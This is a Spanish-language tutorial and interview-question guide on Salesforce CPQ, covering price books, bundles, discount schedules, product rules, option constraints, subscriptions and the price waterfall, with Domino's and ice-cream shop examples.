
¿Los representantes de ventas todavía necesitan libros de precios si utilizan Salesforce CPQ?

Sí, los libros de precios siguen siendo un elemento fundamental en Salesforce CPQ. Proporcionan los precios de referencia a partir de los cuales se derivan todos los ajustes, descuentos o precios especiales. Si un producto no tiene una entrada en el libro de precios, no aparecerá en la página de selección de productos y no se podrá agregar a una cotización. Incluso una entrada de $0 puede ser significativa, ya que puede indicar un artículo complementario o un producto cuyo precio final se determinará mediante los métodos de fijación de precios de Salesforce CPQ.

¿Qué deben recordar los representantes de ventas al crear nuevos productos en su sistema?

Domino's siempre debe asegurarse de que cualquier producto que introduzca tenga una entrada en el libro de precios asociada. Esta inclusión es crucial porque, sin ella, el producto no estará disponible para su selección al crear cotizaciones, incluso si está destinado a ser un artículo promocional con un valor de cero dólares.

Analicemos cómo funcionan los métodos de fijación de precios de Salesforce CPQ, centrándonos particularmente en la fijación de precios de opciones y su interacción con otros métodos, utilizando Domino's como nuestro escenario de ejemplo.

¿Para qué sirve la casilla de verificación incluida?

Diagrama de flujo de precios de lista

Si Domino's decide que el "Combo de fiesta" es una promoción especial y los artículos individuales que contiene (las opciones) no deben tener el precio habitual cuando se venden por separado, marcarán la casilla "Combinado" en Salesforce CPQ para este combo.

Esto significa que aunque una “Pizza Vegetariana” por sí sola suele costar $18, dentro del “Combo de Fiesta” tiene un precio de $0.00, al igual que los demás artículos del combo.

Descuentos en Salesforce CPQ

Métodos de descuento

¿Qué es el descuento opcional en CPQ?

Domino's ofrece un paquete de productos, similar a una oferta combinada, llamado "Pizza Fiesta". Este paquete incluye una pizza grande “Veggie Extravaganza”, “Cheesy Bread” y un refresco.

¿Cómo configurar el descuento opcional en CPQ?

  1. Creación de paquetes de productos: Domino's establece por primera vez un paquete de productos llamado “Pizza Fiesta” que incluye tres artículos:
  • Pizza “Extravagancia Vegetal”
  • “Pan con queso”
  • soda

2. Identificación del artículo con descuento: Domino's decide que el “Cheesy Bread” será un 10% más barato si se pide como parte del paquete “Pizza Fiesta”, en comparación con su precio regular a la carta.

3. Configuración del descuento en Salesforce CPQ: el administrador de Domino's ingresa a Salesforce CPQ y navega hasta el producto del paquete principal "Pizza Fiesta" en el sistema. En la pestaña Relacionados, encontrarán todos los productos que forman parte de este paquete enumerados como Opciones de producto.

4. Aplicación del descuento opcional: el administrador ubica el “Pan con queso” dentro de la lista de Opciones de producto para el paquete “Pizza Fiesta”. Luego establecieron un precio específico que indica que cuando el “Cheesy Bread” es parte del paquete “Pizza Fiesta”, genera un descuento del 10% en este artículo en particular.

¿Explicar la función de descuento manual en Salesforce CPQ?

Imagine que un cliente habitual realiza un pedido al por mayor para una próxima fiesta. Pidieron 20 pizzas “vegetarianas”, cada una con un precio original de $10. Para premiar esta compra al por mayor, el responsable comercial ha decidido ofrecer un descuento especial. En lugar del precio normal, quieren que el costo total de las 20 pizzas sea de $150, en lugar de $200.

¿Qué es un campo no descontable en Salesforce CPQ?

Domino's está realizando una promoción especial en pizzas "Veggie Delight", y estas no son elegibles para más descuentos. El campo "No descontable" se marcaría para este producto en Salesforce CPQ, evitando cualquier descuento manual adicional en este artículo, independientemente del tamaño del pedido.

¿Cómo agregar valores de Unidad y Total a la lista de selección?

Nos dirigimos al objeto Línea de Cotización y creamos un nuevo campo de tipo lista de selección con el nombre AdditionalDiscountUnit y los valores que se muestran a continuación.

Unidad de descuento adicional

Ahora podemos elegir valores adicionales.

monedas en cpq descuento

¿Explicar el descuento para socios y distribuidores en Salesforce CPQ?

Este método se utiliza cuando queremos darle un descuento de socio adicional al cliente. Los valores de estos descuentos se muestran en los campos Descuento de distribuidor y Precio unitario neto en el objeto Línea de cotización. Se calculan mediante las siguientes fórmulas:

Precio para socios = Precio para clientes – Descuento para socios

Precio neto = Precio de socio – Descuento de distribuidor

¿Explicar el descuento basado en el volumen?

Domino's quiere dar un incentivo a los clientes para que pidan más pizzas durante una copa mundial de cricket ofreciendo descuentos basados en el volumen.

Domino's Pizza en X: "¡El cricket es genial, pero el cricket con Domino's es aún mejor! Para celebrar esta temporada de cricket, te traemos nuestra oferta Cricket Fever. Disfruta de 2 pizzas medianas, 8

1. Configuración del programa de descuentos:

Editar niveles en cpq discountig

claves masivas en descuento cpq

El administrador de Domino's navega a la pestaña "Programaciones de descuentos" dentro de Salesforce CPQ y crea una nueva programación denominada "Especial del día del juego".

– Luego hacen clic en “Editar niveles” y configuran los niveles de volumen de la siguiente manera:

– 1-10 pizzas: 0% de descuento

– 11-20 pizzas: 10% de descuento

– 21-30 pizzas: 15% de descuento

– 31+ pizzas: 20% de descuento

– Guardan esta estructura de niveles, que dictará el descuento aplicado en función de la cantidad de pizzas solicitadas.

2. Aplicación del Programa de Descuentos a los Productos:

Luego, el administrador va a la pestaña "Productos" y selecciona las pizzas elegibles para esta promoción, como "Cheesy Extravaganza" y "Veggie Feast".

– En el campo “Programa de descuentos” de cada producto, seleccionan el programa “Especial del día del juego” que crearon previamente.

Calendario de descuentos de Salesforce CPQ

3. Realización de pedidos y cálculo de descuentos:

– Un cliente hace un pedido de 25 pizzas “Cheesy Extravaganza” durante el fin de semana del evento de cricket.

– Cuando el pedido ingresa al sistema, el comercial crea una nueva cotización y le agrega las 25 pizzas.

– Al hacer clic en “Calcular” en Salesforce CPQ, el sistema reconoce automáticamente que la cantidad cae en el nivel 21-30, aplicando así un descuento del 15% al pedido.

– El representante de ventas ve el precio regular y el precio con descuento uno al lado del otro, confirmando que el descuento por volumen se aplicó correctamente.

editar cotización en descuento de salesforce cpq

4. Verificación de los detalles del descuento:

Junto a la pizza "Cheesy Extravaganza" en la cotización, aparece un signo "$" para indicar que se aplica un programa de descuentos.

Programación de descuentos en descuentos de Salesforce CPQ

Al hacer clic en él, el representante de ventas (y cualquier otro usuario con los permisos necesarios) puede ver los niveles de descuento, lo que brinda transparencia sobre cómo se calculó el precio final.

¿Cuál es la estructura del programa de descuentos?

La estructura típica de un programa de descuentos implica la definición de niveles específicos. Cada nivel incluye el nombre del nivel, el límite inferior, el límite superior y el descuento (porcentaje/monto) aplicable en ese nivel.

Hay dos formas en que funciona el programa de descuentos: –

  • Losa
  • Rango

1. Programa de descuentos de losa:

Domino's quiere ofrecer un descuento de Slab durante un festival local. Establecieron los siguientes niveles:

– 1-5 pizzas: 0% de descuento

– 6-10 pizzas: 5% de descuento

– 11+ pizzas: 10% de descuento

Utilizando el método Slab, Salesforce CPQ calcula el descuento de la siguiente manera:

Las primeras 5 pizzas obtienen un 0% de descuento.

Las siguientes 5 pizzas (pizzas 6 a 10) reciben un 5% de descuento.

Las 2 pizzas finales (pizzas 11 y 12) reciben un 10% de descuento.

Cada “losa” o nivel de pizzas se descuenta según su respectivo tramo, no según la cantidad total del pedido.

2. Programa de descuentos por rango:

Domino's decide ofrecer un descuento de gama durante un evento deportivo importante. Establecieron los siguientes niveles:

– 1-7 pizzas: 0% de descuento

– 8-14 pizzas: 7% de descuento

– 15+ pizzas: 15% de descuento

Utilizando el método Rango, Salesforce CPQ calcula el descuento de la siguiente manera:

– El total de 10 pizzas se encuentran dentro del rango de 8 a 14.

– Por tanto, las 10 pizzas reciben un 7% de descuento.

El descuento se aplica al pedido total según el rango en el que se encuentra la cantidad total.

¿Cuáles son los pasos para configurar un programa de descuentos?

  1. Abra la aplicación Salesforce CPQ desde el iniciador de aplicaciones.
  2. Escriba "Programación de descuentos" en el cuadro de búsqueda del iniciador de aplicaciones.
  3. Abra la pestaña Programación de descuentos y haga clic en "nuevo".
  4. Establecer el nombre del horario,
  5. Establezca el tipo como Rango o Losa según el requisito.
  6. Seleccione la unidad de descuento entre las opciones de Porcentaje, Monto y precio según el requisito.
  7. Para el alcance de agregación, seleccione Cotización o Grupo según el requisito.
  8. Haga clic en 'Guardar'.

¿Cuáles son los pasos para crear niveles de descuento y asociar el programa de descuentos con el producto?

  1. Abra el Programa de descuentos en el que queremos crear Niveles de descuentos.
  2. Haga clic en 'Editar nivel'.
  3. Establezca el nombre del nombre de primer nivel.
  4. Establezca el límite inferior del primer nivel.
  5. Establezca el límite superior del primer nivel.
  6. Establezca el descuento (porcentaje/importe).
  7. Haga clic en el botón + para agregar un nuevo nivel y repita los pasos del 3 al 6.
  8. Repita el paso 7 según el requisito de los niveles necesarios.

9. Haga clic en Guardar.

10. Abra la pestaña Producto desde la barra de navegación y seleccione el producto al que queremos asociar el Programa de Descuentos.

11. Haga clic en el botón 'Editar'.

12. En el campo Programación de descuentos, ingrese el nombre del programa de descuentos creado.

13. Haga clic en el botón 'Guardar'

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Preguntas de la entrevista de Salesforce CPQ, parte 2

Preguntas de la entrevista de Salesforce CPQ, parte 2

Preguntas de la entrevista de Salesforce CPQ, parte 1

Enlace de Whatsapp para el grupo Salesforce CPQ

1. ¿Qué son los filtros de búsqueda en el editor de líneas de cotización?

El filtro de búsqueda del editor de líneas de cotización se puede utilizar para filtrar productos, activos o suscripciones por sus valores de campo.

2. ¿Cuál es la diferencia entre la regla del producto y la regla del precio?

La estructura general de las reglas de precios y de productos es la misma:

  • Registro de reglas: que contiene propiedades generales.
  • Condiciones: ambas admiten lógica de condición avanzada
  • Comportamiento

Reglas del producto

Las reglas de productos se utilizan para hacer cumplir la lógica empresarial, ayudar a automatizar los comentarios a los representantes de ventas sobre las selecciones de productos y también aceleran el proceso de cotización.

Hay 4 tipos de reglas de producto:

Reglas de validación: cuando no se cumplen las condiciones, se muestra un mensaje de error y los usuarios no pueden continuar hasta que se solucione la situación. Por tanto, actúan como un freno duro .

Las reglas de alerta son una parada suave en comparación con la parada fuerte de las reglas de validación. También muestran un mensaje, pero es más bien una sugerencia porque el usuario puede continuar sin cumplir con los requisitos comerciales especificados.

Reglas de selección : pueden agregar, eliminar, mostrar, ocultar, habilitar o deshabilitar o realizar alguna combinación de estas acciones en las opciones de productos dentro de un paquete o pueden agregar un producto a una cotización. Esta regla puede ser una excelente manera de aprovechar la Venta Guiada para guiar a sus representantes hacia las opciones apropiadas o más deseadas seleccionando automáticamente los productos correctos.

Las reglas de filtrado se utilizan en paquetes para extraer opciones de productos del catálogo de productos mediante una regla de filtrado . A esto se le suele denominar creación de un paquete dinámico.

Reglas de precios

Se puede considerar que las reglas de precios realizan actualizaciones de campos dentro del cálculo que afectarán el precio. puede usarlos para establecer descuentos y cantidades.

3. ¿Cuáles son las consideraciones para los campos gemelos?

Recuerde que un campo gemelo debe tener el mismo tipo de datos y nombre de API que el campo correspondiente creado en el objeto Opción de producto.

4. ¿Cómo configurar productos de suscripción en Salesforce CPQ?

Hay tres campos esenciales para configurar Productos de suscripción en Salesforce CPQ.

Campo de producto Tipo de datos Descripción
Precios de suscripción Lista de selección El producto no se considerará una suscripción sin que este campo esté configurado en Precio fijo o Porcentaje del total.
Plazo de suscripción Número Este es el periodo asociado a la compra, por lo que puedes establecerlo en 12 meses si se trata de una Suscripción Anual.
Tipo de suscripción Lista de selección Este campo determina si el producto es renovable o único. Las Suscripciones Renovables se transfieren a Cotizaciones de Renovación. Las suscripciones únicas no lo harán.

Para crear Productos de Suscripción , cree un nuevo Registro de productos. Complete los campos: Precio de suscripción , Tipo de suscripción y Plazo de suscripción para el producto. Tenga en cuenta que durante la creación del contrato, los Productos de Suscripción se convierten en registros de Suscripción.

Salesforce CPQ, Productos de suscripción, Campos básicos de nuevos productos: Precios de suscripción; Tipo de suscripción; Plazo de suscripción

5. ¿Cuál es la diferencia entre restricciones de opciones y reglas de productos?

Las restricciones de opciones y las reglas de productos tienen diferentes casos de uso.

Las restricciones de opciones no pueden seleccionar productos automáticamente. (aunque pueden anular la selección de productos cuando se aplica la dependencia). Son buenos en dos escenarios:

  • dependencia
  • exclusión

Las restricciones de opciones permiten el procesamiento en tiempo real . Cada vez que el usuario selecciona o deselecciona una opción, la dependencia o exclusión se activa inmediatamente.

Las reglas de producto tienen más funciones que la restricción de opción, aunque es necesario elegir un evento de evaluación para especificar cuándo Salesforce CPQ debe considerar y ejecutar una regla de producto: Cargar, Editar, Guardar o Siempre.

6. ¿Explicar el paquete de productos en CPQ?

Hay tres objetos clave que definen la estructura del paquete :

  • Producto
  • Opciones
  • Características

Producto

Los paquetes están hechos de productos. Se puede hacer referencia a los productos en un paquete, ya sea como paquete principal o como opciones de producto. Piense en la computadora portátil como un producto

Opciones de producto

Son como hijos que se encuentran debajo del paquete principal y son los que realmente unen el paquete porque los paquetes se crean cuando agrega Opciones a un Producto en la lista relacionada de Opciones. Las opciones de producto para computadora portátil pueden ser mouse, teclado, cargador y software de Microsoft.

Características

Son categorías de opciones de productos dentro de la configuración. No son obligatorios, pero se pueden utilizar para una mejor experiencia visual y también ayudan a impulsar lógica adicional, como las opciones mínimas y máximas. Las funciones son como poner opciones dentro de funciones, por ejemplo:

Software

  • Software de Microsoft

Hardware

  • Ratón
  • Teclado

Aquí Hardware y Software son características que clasifican las opciones del producto.

Hay tres tipos de paquetes :

Paquete estático. Este sería el paquete fijo tradicional, preempaquetado, en el que se venden ciertos productos juntos a un precio fijo, y el usuario no necesita ingresar a la configuración porque no se permiten ajustes.

Paquete configurable. Este tipo de paquete se puede configurar con ciertas restricciones para evitar configuraciones imposibles. El usuario puede seleccionar diferentes opciones para personalizar el paquete y satisfacer las necesidades del cliente.

Paquete anidado. Estos son paquetes dentro de otros paquetes. Se recomienda mantener los paquetes anidados en tres niveles de profundidad. Los paquetes anidados se crean fácilmente agregando el producto principal de un paquete como opción a otro paquete.

Paquete virtual . Este tipo de fardo funciona como contenedor para otros productos. Para configurar un paquete principal virtual, debe estar asociado con un precio de $0,00.

Paquetes dinámicos . Estas funciones, junto con las reglas de filtrado de productos, permiten a sus representantes de ventas seleccionar productos de una lista previamente filtrada de opciones entre las que pueden elegir.

7.¿Qué son las funciones de CPQ?

El objeto de característica está relacionado con productos y "se encuentra" dentro de paquetes. Un paquete puede tener varias funciones o ninguna, y una función puede tener varias opciones.

Las características tienen dos propósitos:

  • Ofrecen una mejor experiencia de usuario mientras navegan por las opciones de productos dentro de los paquetes.
  • Los campos en los registros de funciones nos ayudan a impulsar la lógica empresarial , como establecer las opciones mínimas y máximas, evitando que el usuario seleccione muy pocas o demasiadas opciones. Si el usuario no cumple con los requisitos mínimos/máximos e intenta guardar la configuración.

Una captura de pantalla de una computadora Descripción generada automáticamente

Una captura de pantalla de una lista de productos Descripción generada automáticamente

El campo Número establece el orden de visualización de las funciones, siendo la función con el número más bajo la primera en la lista. Se recomienda utilizar incrementos de 10 al asignar números.

El campo SKU configurado se completa automáticamente cuando el usuario crea una función desde la página de detalles del producto del paquete y representa el producto principal que alberga la función.

8. ¿Explica los diferentes valores del campo del método de selección de opciones en el objeto de características?

El campo Método de selección de opciones controla cómo aparecen al usuario las opciones adjuntas a esta función.

Haga clic : las opciones aparecen como una lista con casillas de verificación junto a ellas:

Una captura de pantalla de una computadora Descripción generada automáticamente

Una captura de pantalla de una lista de productos Descripción generada automáticamente

Agregar : las opciones se colapsan y en su lugar aparece un botón Agregar opciones. Se debe hacer clic en el botón Agregar opciones para navegar a una página separada que muestra los productos para esta función.

Una captura de pantalla de una computadora Descripción generada automáticamente

Una captura de pantalla de una computadora Descripción generada automáticamente

Dinámico : muestra un botón Agregar opciones, que muestra una lista prefiltrada de productos disponibles para su selección. Para utilizar esta funcionalidad, debe configurar una regla de producto de filtro CPQ de Salesforce para paquetes dinámicos.

Una captura de pantalla de una computadora Descripción generada automáticamente

Una captura de pantalla de una computadora Descripción generada automáticamente

9. ¿Explicar el campo del objeto de búsqueda?

Las reglas de producto y las reglas de precio en Salesforce CPQ contienen el campo Objeto de búsqueda. Este campo define el objeto que almacena datos que puede evaluar mediante consultas de búsqueda para compararlos con los campos de cotización, línea de cotización o opción de producto.

10. ¿Explicar la estructura de la plantilla de cotización?

La estructura de la plantilla de cotización incluye:

  1. Información de la plantilla de cotización
  • Información de la página
  • Información de encabezado/pie de página
  • Información corporativa
  • Información de estilo
  • Información de estilo de grupo
  • Títulos de sección
  • Opciones de impresión
  1. Listas relacionadas
  • Columnas de línea
  • Secciones de plantilla
  • Documentos adicionales

Detalles de la plantilla de cotización de muestra nueva de Salesforce CPQ

11. ¿Cuáles son los pasos para crear plantillas de cotizaciones?

Hay cinco pasos principales a seguir al crear una plantilla de cotización:

1. Crear la propia plantilla de cotización

2. Almacenamiento del logotipo necesario en Documentos

3. Creando el contenido de la plantilla

4. Creando las secciones de la plantilla

5. Creando las columnas de línea

12. ¿Cómo se puede renovar la suscripción con un cliente existente?

Si ya tiene una oportunidad de renovación, cuando se acerque al final del período de suscripción, es posible que desee venderles las suscripciones de renovación al cliente nuevamente. Para ello, necesita una cotización de renovación.

Se puede generar marcando la casilla de verificación Cotización de renovación como verdadera. Esta cotización de renovación se puede enviar, actualizar y modificar según sea necesario y luego recibirla nuevamente para que posteriormente pueda crear un contrato nuevo.

1. Primero, haga clic en la pestaña Cuentas en la barra de navegación.

2. Vaya a la empresa necesaria y haga clic en la pestaña Relacionado .

3. Acceda al enlace Número de contrato en la lista relacionada Contratos y luego haga clic en Editar .

4. Marque la casilla de verificación Cotización de renovación como verdadera, lo que le indicará a CPQ que genere una cotización sobre la oportunidad de renovación.

.

Tenga en cuenta que la cotización de renovación tiene la Fecha de inicio un día después de la Fecha de cierre de la oportunidad de renovación, mientras que la Fecha de finalización se basa en el Plazo de renovación del contrato.

13. ¿Cómo modificar un contrato en Salesforce CPQ?

Veamos cómo Salesforce CPQ puede actualizar un Contrato existente para incluir mayores cantidades de productos de suscripción, prorrateados por la duración restante del Contrato y crear automáticamente una Oportunidad y Cotización de enmienda:

Cree una cotización de modificación y una oportunidad para aumentar la cantidad de un producto de suscripción de 1 a 10, a partir de los 3 meses del contrato.

Navegue hasta esa cuenta y vaya al enlace Número de contrato en la lista relacionada Contratos. Luego, haga clic en Modificar y nuevamente en Modificar .

14. ¿Cómo funciona el grupo de restricción de opciones en Salesforce CPQ?

Esta característica resulta útil cuando desea hacer que las opciones sean obligatorias o excluidas en función de combinaciones de otras opciones.

Veamos un ejemplo en el que desea evitar que los representantes de ventas vendan el Producto A a menos que el Producto B se haya incluido en la cotización:

A. Haga clic en la pestaña Productos en la barra de navegación.

C. Vaya a la pestaña Relacionados .

D. En la lista relacionada Opciones , seleccione Ver todo y anote el número del Nombre de la opción para las opciones necesarias:

  • Producto A.
  • Producto B.

E. Haga clic en Nuevo en la lista relacionada Restricciones de opciones y complete los siguientes campos:

  • Para el campo Nombre de restricción , ingrese: El producto A requiere el producto B
  • Para el campo Opción restringida , ingrese: < PO-###### del Producto A >  
  • Para el campo Opción de restricción , ingrese: < PO-###### del Producto B >
  • Para el campo Grupo de restricciones de opción , ingrese: Puede ingresar aquí cualquier cadena de texto, pero es una buena práctica hacerla descriptiva y fácil de entender y recordar.

F. Haga clic en Guardar .

16. Tiene un escenario en el que el representante de ventas debe vender un paquete en el que hay al menos tantos Productos B como Productos A. ¿Cómo configurar para este escenario?

Paso 1: Cree una variable de resumen para determinar la cantidad agregada del Producto A en la configuración.

Paso 2: Cree una variable de resumen para determinar la cantidad agregada del Producto B en una configuración.

Paso 3: Cree una regla de producto que confirme cómo funcionará la regla de validación durante la configuración del producto.

Paso 4: Cree una condición de error que controle cuándo se activa la regla, es decir, solo cuando la variable de resumen del producto B es menor que la variable de resumen del producto A.

Paso 5: Cree una regla de configuración para mostrar que la regla de validación se aplicará al paquete de productos.

Paso 6: compruebe si la regla se comporta como se esperaba.

17. ¿Cómo utilizar las restricciones de opciones?

Hay muchos escenarios en los que sus representantes de ventas deben habilitar o deshabilitar un producto en un paquete en función de otra opción de producto.

Los escenarios incluyen:

  1. A. El Producto A pasa a estar DISPONIBLE si se selecciona el Producto B.
  2. B. El Producto A NO ESTÁ DISPONIBLE si se selecciona el Producto B.

Esto se puede lograr creando restricciones de opciones a partir de la lista relacionada Restricciones de opciones en el registro de producto principal del paquete.

Cree una restricción de opción para que el Producto A pueda seleccionarse solo cuando se seleccione el Producto B:

18. ¿Explique un caso de uso de precios contratados?

Escenario: el representante de ventas ha negociado con un cliente un precio especial para ciertos productos: $375,00 por una computadora portátil en lugar de $450,00

Utilice la herramienta Precios contratados, que permite crear registros relacionados con cuentas para excepciones de precios.

Primero, creemos un precio contratado para un único producto específico para una cuenta seleccionada. Haga clic en la pestaña Cuentas , haga clic en la cuenta seleccionada , vaya a la pestaña Relacionados y en la lista relacionada Precios contratados , haga clic en Nuevo:

►Producto: Computadora portátil
►Precio: 475
►Haga clic en Guardar.

Tenga en cuenta que los Precios Contratados pueden estar limitados en el tiempo: puede establecer una Fecha de Vigencia y/o una Fecha de Vencimiento.

19. ¿Explicar el evento de evaluación en la regla del producto?

Evento de evaluación : especifica cuándo se debe evaluar la regla:

Cargar: La regla se evaluará cuando se abra el paquete de productos.

Editar: la regla se evaluará cuando se edite el paquete de productos.

Guardar: la regla se evaluará al guardar.

Siempre: La regla será evaluada durante cualquier evento.

Ahora, supongamos que tiene un campo en el Objeto de producto que también desea ver en la Línea de cotización. Cree un campo con el mismo nombre de API y del mismo tipo.

20. ¿Qué es la venta guiada de Salesforce?

La venta guiada implementada en CPQ es una herramienta que formula preguntas sobre las necesidades del cliente en función de la selección de productos disponibles. Se hace creando un mensaje que pregunta a los representantes de ventas sobre los tipos de productos que desean agregar a la cotización y sus especificaciones.

21. ¿Qué es el precio por bloque de Salesforce?

Los precios en bloque le permiten fijar el precio de un producto en función de diferentes rangos de cantidades que se denominan precios en bloque.

  • El precio en bloque es un precio basado en niveles. El precio basado en niveles significa que el precio del producto depende de la cantidad que compra el cliente.
  • El precio también se basa en el rango de cantidad y no en el producto individual.

22. ¿Cuáles son los pasos para implementar un paquete dinámico?

Los paquetes dinámicos permiten a los representantes de ventas elegir sus propias opciones en un paquete. Puede utilizar reglas de filtrado para filtrar las opciones entre las que pueden elegir.

Para implementar un paquete dinámico, estos son los pasos de implementación que debe seguir:

►Crear una característica
►Crear una regla de producto
►Crear una acción
►Crear una regla de configuración

23. ¿Cuándo utilizar reglas de producto frente a restricciones de opciones?

Cuándo utilizar restricciones de opciones

Si tiene menos opciones y puede ajustar todas las opciones de producto en la categoría/pestaña sin tener que desplazarse mucho, entonces puede ser mejor optar por restricciones de opciones. Estos no pueden ocultar las Opciones del producto por completo, pero pueden habilitar/deshabilitar las Opciones del producto mediante otras selecciones.

24. ¿Cuándo utilizar las reglas del producto?

Este enfoque es especialmente útil en configuraciones más grandes que se muestran en categorías (pestañas), donde cada categoría puede requerir un desplazamiento extenso para mostrar todas las opciones.

Diferencias Restricciones de opciones Reglas de selección de productos
Acciones admitidas Habilitar deshabilitar Agregar, habilitar, deshabilitar, eliminar, habilitar y agregar, deshabilitar y eliminar, ocultar, mostrar, ocultar y eliminar, mostrar y agregar
Condiciones La restricción de opción tiene una condición simple: si se selecciona la opción X Las reglas de producto pueden tener múltiples condiciones que evalúan información fuera del contexto del paquete, es decir, campos de nivel de cotización/oportunidad/cuenta.
Alcance La restricción de opciones se limita a una sola opción. Las reglas del producto pueden actuar sobre múltiples opciones
Contexto Se utiliza sólo en el contexto de paquetes. Funciona en las opciones dentro del mismo paquete. Es específico de un solo paquete. Se utiliza en el contexto de paquetes y productos independientes. Se puede aplicar una regla de producto único a paquetes ilimitados.
Resultado No se puede seleccionar/deseleccionar automáticamente un producto Puede seleccionar/deseleccionar automáticamente un producto

25. ¿Cuándo se ejecutan las Reglas de Producto durante el proceso de cotización?

Las reglas del producto se ejecutan en la página de configuración del producto o en el editor de líneas de cotización. Esto se decide en función de los siguientes campos de reglas de producto:

a. ALCANCE – (Valores: Producto/Cotización ): el campo Alcance en el registro de regla del producto le indica a CPQ DÓNDE debe ejecutarse la regla. Un alcance de "Producto" significa que la regla se ejecutará durante la configuración del producto, y un alcance de "Cotización" hará que se ejecute en el Editor de líneas de cotización.

b. EVENTO DE EVALUACIÓN – (Valores: Cargar/Editar/Guardar/Siempre ): el campo Evento de evaluación en el registro de regla del producto le indica a CPQ CUÁNDO debe ejecutarse la regla.

26. Explique la descripción general del ciclo de vida de Salesforce CPQ.

Generación de leads: el ciclo de vida de CPQ comienza con la generación de leads, donde los clientes potenciales muestran interés en tus productos o servicios.

Creación de oportunidades: una vez que se identifica un cliente potencial, se convierte en una oportunidad en Salesforce. Esta etapa implica recopilar información del cliente y evaluar sus necesidades.

Configuración del producto: en esta etapa, el equipo de ventas utiliza Salesforce CPQ para configurar productos o servicios de acuerdo con los requisitos del cliente. CPQ permite configuraciones complejas de productos, opciones de agrupación y personalización.

Precios y descuentos: Salesforce CPQ permite al equipo de ventas aplicar precios y descuentos adecuados según los requisitos específicos del cliente, precios basados en el volumen o acuerdos contractuales. Esta etapa garantiza precios precisos y maximiza el potencial de ingresos.

Generación de cotizaciones: una vez determinados la configuración del producto y el precio, Salesforce CPQ genera una cotización profesional adaptada a las necesidades del cliente. La cotización incluye información detallada sobre los productos o servicios, precios y términos.

Aprobación y negociación de la cotización: la cotización generada pasa por un proceso de aprobación, donde las partes interesadas correspondientes la revisan y brindan su consentimiento. Esta etapa puede implicar negociación con el cliente para finalizar los detalles de la cotización.

Aceptación de cotización: una vez que el cliente acepta la cotización, avanza a la siguiente etapa del ciclo de vida de CPQ.

Creación de pedidos: la cotización aceptada se convierte en un pedido, lo que desencadena el proceso de cumplimiento, incluida la gestión de inventario, el procesamiento de pedidos y el envío.

Gestión de contratos: Salesforce CPQ proporciona capacidades de gestión de contratos, lo que permite al equipo de ventas generar y gestionar contratos basados en la cotización aceptada. Esta etapa garantiza el cumplimiento legal y agiliza la gestión del ciclo de vida del contrato.

Reconocimiento de ingresos: Salesforce CPQ se integra con sistemas de facturación y procesos financieros para facilitar el reconocimiento preciso de ingresos. Esto implica rastrear e informar los ingresos en función de los productos o servicios entregados.

Renovación y ventas adicionales: a medida que los contratos se acercan a su vencimiento, Salesforce CPQ ayuda a gestionar las oportunidades de renovación. El sistema puede identificar oportunidades de ventas adicionales o cruzadas y guiar al equipo de ventas para maximizar el valor para el cliente.

Informes y análisis: a lo largo del ciclo de vida de CPQ, Salesforce CPQ proporciona capacidades de informes y análisis para monitorear métricas clave, rastrear el desempeño de ventas, identificar tendencias y tomar decisiones basadas en datos.

27. ¿Explicar los atributos de configuración?

En Salesforce CPQ, esta funcionalidad se puede lograr principalmente creando un registro del objeto de atributo de configuración .

Atributo de configuración

Hay 2 tipos de Atributos de Configuración que podemos crear en Salesforce CPQ.

  1. Atributo de configuración
  2. Atributo global
  • Cuando queramos crear y asignar cualquier atributo al producto del paquete , crearemos un registro de Atributo de configuración que tenga el tipo de registro "Atributo de configuración" .
  • Cuando queramos crear y asignar cualquier atributo a un producto de opción , crearemos un atributo de configuración de registro que tenga el tipo de registro "Atributo global" .

28. ¿Qué es el precio excedente en Salesforce CPQ?

Imagina que tienes un plan de telefonía móvil que incluye hasta 10 GB de datos por 30 dólares al mes. Esto es mucho, pero ¿qué pasa si usas más de 10 GB en un mes? Ahí es donde entran en juego las tasas excedentes.

La compañía telefónica ofrece una tarifa excedente de $2 por GB adicional de datos utilizados más allá de los 10 GB iniciales. Esto significa que si usas 11 GB en un mes, pagarás la tarifa base de $30 por los primeros 10 GB, más una tarifa excedente de $2 por los GB adicionales, por un total de $32.

Así es como se descompone:

– Si usas 10 GB o menos, solo pagas tus $30 habituales, sin cargos adicionales.

– Si usas 11 GB, pagas $30 por los primeros 10 GB, luego $2 adicionales por el 11.° GB, para un total de $32.

– Si usas 12 GB, pagas $30 por los primeros 10 GB, luego $4 adicionales por los GB 11 y 12, por un total de $34.

…y así sucesivamente, sumando $2 por cada GB que uses por encima de los 10GB.

Este sistema hace que la facturación sea más clara y sencilla. Usted sabe exactamente cuánto se le cobrará si excede su límite de datos y la compañía telefónica puede calcular fácilmente los cargos según el uso real.

Para utilizar tarifas excedentes, debemos crear un campo personalizado especial en el objeto Precio de bloque. Este es un paso único para cualquier organización que utilice Salesforce CPQ.

29. ¿Explique la caída de precios en CPQ con la ayuda de un ejemplo?

Imagina que estás en "Sundae Funday", una heladería conocida por sus aderezos y sabores especiales. Decides comprar un cono de triple bola con tus sabores favoritos y así es como cambia el precio:

1. Precio original: Este es el costo básico en el que incurre “Sundae Funday” para hacer un cono de helado, incluyendo el helado, el cono, los aderezos y los costos operativos. Digamos que son $3.00. Esto no incluye ganancias ni costos adicionales; es simplemente cuánto le cuesta a la tienda hacer ese delicioso cono.

2. Precio de lista: ahora, el taller agrega su margen de beneficio, considerando factores como los gastos generales, los salarios del personal y el margen de beneficio. Este es el precio que ves en el menú cuando entras. Entonces, tu cono de triple cucharada aparece en $5.00. Ese es el precio estándar para cualquier cliente en un día normal.

3. Precio especial: ¿Adivina qué? Visitas la tienda un “martes tropical” y todos los conos con sabor tropical tienen un 20% de descuento. Como elegiste mango como una de tus bolas, tu cono ahora tiene un “precio especial” de $4.00. Este precio es específico para esta promoción o segmento de clientes.

4. **Precio Regular**: ¡Aquí vienen los beneficios del programa de fidelización! Como titular de una tarjeta de fidelidad “Sundae Funday”, tienes derecho a un descuento adicional del 10 % en cualquier compra. Ese beneficio reduce su precio a $3.60. Este es el “precio regular” que se ofrece a los clientes que cumplen ciertos criterios, como los miembros leales.

5. **Precio para el cliente**: Tienes un cupón por completar una encuesta en tu última visita, lo que te otorga un descuento adicional de $0,50 en tu próxima compra. Después de aplicar esto, su “precio al cliente” ahora es de $3,10. Este precio es el resultado de interacciones o negociaciones directas y únicas.

6. **Precio de socio**: La heladería tiene una asociación con un cine cercano. Dado que tiene una entrada de cine para el mismo día, obtiene un descuento adicional del 5%, lo que reduce su cono a un “precio de socio” de $2,95.

